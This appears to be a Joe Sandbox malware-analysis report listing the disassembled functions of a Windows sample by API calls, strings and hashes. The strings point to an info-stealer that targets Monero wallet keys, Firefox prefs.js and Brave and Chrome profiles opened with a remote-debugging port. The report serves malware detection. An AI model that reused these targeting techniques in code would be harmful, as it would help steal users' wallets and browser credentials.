                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$Process$AllocateName$ComputerExitUser
                                    • String ID:
                                    • API String ID: 3550813701-0
                                    • Opcode ID: 891fe4e3c72f09d6925307b468a1e73a46b6a5b683f82db4b4bf5b0373e820c2
                                    • Instruction ID: 1d2ad1ef3a25cf2900471a03f2e233a19e025410070402b179e92e25150bff31
                                    • Opcode Fuzzy Hash: 891fe4e3c72f09d6925307b468a1e73a46b6a5b683f82db4b4bf5b0373e820c2
                                    • Instruction Fuzzy Hash: CEE012B9A0532167CA2073B57D07B5B32CC5B1474EF402458FA44A6106FD2AE8404365

                                    Non-executed Functions

                                    Function 00E1BE40 Relevance: 58.5, APIs: 26, Strings: 7, Instructions: 730fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    • FindFirstFileA.KERNEL32(00000000,?,00E30B32,00E30B2F,00000000,?,?,?,00E31450,00E30B2E), ref: 00E1BEC5
                                    • StrCmpCA.SHLWAPI(?,00E31454), ref: 00E1BF33
                                    • StrCmpCA.SHLWAPI(?,00E31458), ref: 00E1BF49
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E1C8A9
                                    • FindClose.KERNEL32(000000FF), ref: 00E1C8BB
                                    Strings
                                    • --remote-debugging-port=9229 --profile-directory=", xrefs: 00E1C495
                                    • Brave, xrefs: 00E1C0E8
                                    • --remote-debugging-port=9229 --profile-directory=", xrefs: 00E1C534
                                    • Preferences, xrefs: 00E1C104
                                    • --remote-debugging-port=9229 --profile-directory=", xrefs: 00E1C3B2
                                    • \Brave\Preferences, xrefs: 00E1C1C1
                                    • Google Chrome, xrefs: 00E1C6F8
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
                                    • String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
                                    • API String ID: 3334442632-1869280968
                                    • Opcode ID: 003f0df08df022bc18fa9926f84826a0483c30cad734a2c7a84274af7a0f6435
                                    • Instruction ID: e6aa66defb043cf4428a69b3b58311d3c17c33221c06c7a4ee101d8a23401b4d
                                    • Opcode Fuzzy Hash: 003f0df08df022bc18fa9926f84826a0483c30cad734a2c7a84274af7a0f6435
                                    • Instruction Fuzzy Hash: 705257729101189BCB14FB70ED96EEE73BDAF54304F4455A8B50AB6081EF345B88CFA2
                                    Function 00E23B00 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON
                                    Download Yara Rule
                                    APIs
                                    • wsprintfA.USER32 ref: 00E23B1C
                                    • FindFirstFileA.KERNEL32(?,?), ref: 00E23B33
                                    • lstrcat.KERNEL32(?,?), ref: 00E23B85
                                    • StrCmpCA.SHLWAPI(?,00E30F58), ref: 00E23B97
                                    • StrCmpCA.SHLWAPI(?,00E30F5C), ref: 00E23BAD
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E23EB7
                                    • FindClose.KERNEL32(000000FF), ref: 00E23ECC
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$File$CloseFirstNextlstrcatwsprintf
                                    • String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
                                    • API String ID: 1125553467-2524465048
                                    • Opcode ID: 5fe93c820b04da049bc8b1f360577e82ffe6b8d2ec1640b3a9b922b7f211c3a8
                                    • Instruction ID: 4538ea6ee1afc6faaf1c0a5776bfee90fac79b61e9e9ec97bde7f49f5345a7e7
                                    • Opcode Fuzzy Hash: 5fe93c820b04da049bc8b1f360577e82ffe6b8d2ec1640b3a9b922b7f211c3a8
                                    • Instruction Fuzzy Hash: 1AA141B1A003189BDB34DF64DC85FEA73B9BB48700F044588F64DAA185DB759B88CFA1
                                    Function 00E24B60 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • wsprintfA.USER32 ref: 00E24B7C
                                    • FindFirstFileA.KERNEL32(?,?), ref: 00E24B93
                                    • StrCmpCA.SHLWAPI(?,00E30FC4), ref: 00E24BC1
                                    • StrCmpCA.SHLWAPI(?,00E30FC8), ref: 00E24BD7
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E24DCD
                                    • FindClose.KERNEL32(000000FF), ref: 00E24DE2
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$File$CloseFirstNextwsprintf
                                    • String ID: %s\%s$%s\%s$%s\*
                                    • API String ID: 180737720-445461498
                                    • Opcode ID: 18ecb343e7c0127d3f7032730b5d34233b400caa5a2d4cf5d9c8973c3858c384
                                    • Instruction ID: c24998078cb5f006cda52a82324474c056f1d01381671c43e785337ba3b2a5a8
                                    • Opcode Fuzzy Hash: 18ecb343e7c0127d3f7032730b5d34233b400caa5a2d4cf5d9c8973c3858c384
                                    • Instruction Fuzzy Hash: 39615BB19002189BCB34EBA4EC59FEA77BCAB48700F0045DCF649A6185EB75DB84CF91
                                    Function 00E247C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00E247D0
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E247D7
                                    • wsprintfA.USER32 ref: 00E247F6
                                    • FindFirstFileA.KERNEL32(?,?), ref: 00E2480D
                                    • StrCmpCA.SHLWAPI(?,00E30FAC), ref: 00E2483B
                                    • StrCmpCA.SHLWAPI(?,00E30FB0), ref: 00E24851
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E248DB
                                    • FindClose.KERNEL32(000000FF), ref: 00E248F0
                                    • lstrcat.KERNEL32(?,0099FA50), ref: 00E24915
                                    • lstrcat.KERNEL32(?,0099E528), ref: 00E24928
                                    • lstrlen.KERNEL32(?), ref: 00E24935
                                    • lstrlen.KERNEL32(?), ref: 00E24946
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
                                    • String ID: %s\%s$%s\*
                                    • API String ID: 671575355-2848263008
                                    • Opcode ID: b1757ffdaeeeab974c3476efbfafc21a228ec5503efae052c3738514c13e7d5c
                                    • Instruction ID: 99b7152c738ccaf65423c5e4a6f153b58f852def7467f090446b72950a58e1a9
                                    • Opcode Fuzzy Hash: b1757ffdaeeeab974c3476efbfafc21a228ec5503efae052c3738514c13e7d5c
                                    • Instruction Fuzzy Hash: A55153B19002189BCB24EB74EC99FED77BCAB58700F4055D8F649A6084EB75DB84CF91
                                    Function 00E240F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • wsprintfA.USER32 ref: 00E24113
                                    • FindFirstFileA.KERNEL32(?,?), ref: 00E2412A
                                    • StrCmpCA.SHLWAPI(?,00E30F94), ref: 00E24158
                                    • StrCmpCA.SHLWAPI(?,00E30F98), ref: 00E2416E
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E242BC
                                    • FindClose.KERNEL32(000000FF), ref: 00E242D1
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$File$CloseFirstNextwsprintf
                                    • String ID: %s\%s
                                    • API String ID: 180737720-4073750446
                                    • Opcode ID: 680fdccb8302b45e837d2c7271eed1d9afa9f0552a5e4b6f03273b6f67f08947
                                    • Instruction ID: 1ec9f1e32b9e26dd9545faa71f7b5c6a3ee2192e22398ec088c54d72cecfb870
                                    • Opcode Fuzzy Hash: 680fdccb8302b45e837d2c7271eed1d9afa9f0552a5e4b6f03273b6f67f08947
                                    • Instruction Fuzzy Hash: 805169B6900218ABCB34EBB0ED45EEA73BCBB54700F4055DDF649A6084DB759B85CF90
                                    Function 00E1EE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • wsprintfA.USER32 ref: 00E1EE3E
                                    • FindFirstFileA.KERNEL32(?,?), ref: 00E1EE55
                                    • StrCmpCA.SHLWAPI(?,00E31630), ref: 00E1EEAB
                                    • StrCmpCA.SHLWAPI(?,00E31634), ref: 00E1EEC1
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E1F3AE
                                    • FindClose.KERNEL32(000000FF), ref: 00E1F3C3
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$File$CloseFirstNextwsprintf
                                    • String ID: %s\*.*
                                    • API String ID: 180737720-1013718255
                                    • Opcode ID: 81d3ed19f656fc565dd58cc19e6d10b052f493d2b682bfed6b3defc6bc99fc51
                                    • Instruction ID: aa6ac95d41c5733a93bae60c9bde6bc4a7a18b8677c8aa8247a61b8037edee93
                                    • Opcode Fuzzy Hash: 81d3ed19f656fc565dd58cc19e6d10b052f493d2b682bfed6b3defc6bc99fc51
                                    • Instruction Fuzzy Hash: 88E110729111289BDB54FB60ED62EEE73BDAF54300F4855E9B40A72092EE306F89CF51
                                    Function 00E50098 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
                                    • API String ID: 0-1562099544
                                    • Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
                                    • Instruction ID: 38305e0411b1d5885c8b1d6319d2df50f651d289b61b93998b7f2a43a6d8ba56
                                    • Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
                                    • Instruction Fuzzy Hash: BDE276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56
                                    Function 00E1F7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E316B0,00E30D97), ref: 00E1F81E
                                    • StrCmpCA.SHLWAPI(?,00E316B4), ref: 00E1F86F
                                    • StrCmpCA.SHLWAPI(?,00E316B8), ref: 00E1F885
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E1FBB1
                                    • FindClose.KERNEL32(000000FF), ref: 00E1FBC3
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
                                    • String ID: prefs.js
                                    • API String ID: 3334442632-3783873740
                                    • Opcode ID: 6f3c034ed48d782be60c404924e93cee1994563f1480166dc5c93d98d1e987c9
                                    • Instruction ID: 69889e2a1c7e6c0ffdb106149468770df5a5ce0a7f147d403fda9a3ac285cf84
                                    • Opcode Fuzzy Hash: 6f3c034ed48d782be60c404924e93cee1994563f1480166dc5c93d98d1e987c9
                                    • Instruction Fuzzy Hash: 9DB122719001289BCB24FF64ED96FED77B9AF54300F4495B8E50A76181EF31AB48CB92
                                    Function 00E11710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E3523C,?,?,?,00E352E4,?,?,00000000,?,00000000), ref: 00E11963
                                    • StrCmpCA.SHLWAPI(?,00E3538C), ref: 00E119B3
                                    • StrCmpCA.SHLWAPI(?,00E35434), ref: 00E119C9
                                    • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E11D80
                                    • DeleteFileA.KERNEL32(00000000), ref: 00E11E0A
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00E11E60
                                    • FindClose.KERNEL32(000000FF), ref: 00E11E72
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
